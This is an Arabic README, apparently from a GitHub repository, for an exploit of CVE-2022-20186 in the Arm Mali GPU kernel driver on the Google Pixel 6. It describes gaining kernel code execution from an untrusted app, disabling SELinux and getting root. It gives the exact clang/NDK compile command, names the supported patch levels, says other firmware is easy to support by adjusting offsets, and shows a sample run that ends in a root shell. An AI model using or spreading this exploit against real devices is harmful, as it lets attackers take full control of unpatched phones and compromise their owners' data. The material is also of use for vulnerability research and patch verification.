
استغلال لـ CVE-2022-20186 في برنامج تشغيل نواة Arm Mali، يحقق تنفيذ تعليمات برمجية عشوائية في النواة لتعطيل SELinux والحصول على صلاحيات الجذر على Google Pixel 6.
يمكن العثور على الشرح هنا. هذا خطأ في برنامج تشغيل نواة Arm Mali أبلغت عنه في يناير 2022. يمكن استخدام الخطأ للحصول على تنفيذ تعسفي لتعليمات برمجية في النواة من مجال التطبيقات غير الموثوقة، والذي يُستخدم بعد ذلك لتعطيل SELinux والحصول على صلاحيات الجذر.
تم اختبار الاستغلال على Google Pixel 6 وهو يدعم مستويات التصحيح من نوفمبر 2021 إلى فبراير 2022. من السهل إضافة دعم للبرامج الثابتة الأخرى عن طريق تغيير بعض إزاحات الصورة. للرجوع، استخدمت الأمر التالي للترجمة باستخدام clang في ndk-21:
android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang mali_alias.c -o mali_alias
نادرًا ما يفشل الاستغلال ويمكن إعادة المحاولة دون تعطيل الجهاز. إذا نجح، فسيعمل على تعطيل SELinux والحصول على صلاحيات الجذر.
oriole:/ $ /data/local/tmp/mali_alias
fingerprint: google/oriole/oriole:12/SQ1D.220205.004/8151327:user/release-keys
tracking page 0x6ff794e000
drain 0x6d5b200000
gpu_va[0] 6ff6698000
gpu_va[1] 6ff6695000
alias 0x6ff6693000
overwrite addr : 6ff370051c 51c
overwrite addr : 6de310051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
result 50
overwrite addr : 6ff370051c 51c
overwrite addr : 6de310051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
result 50
oriole:/ #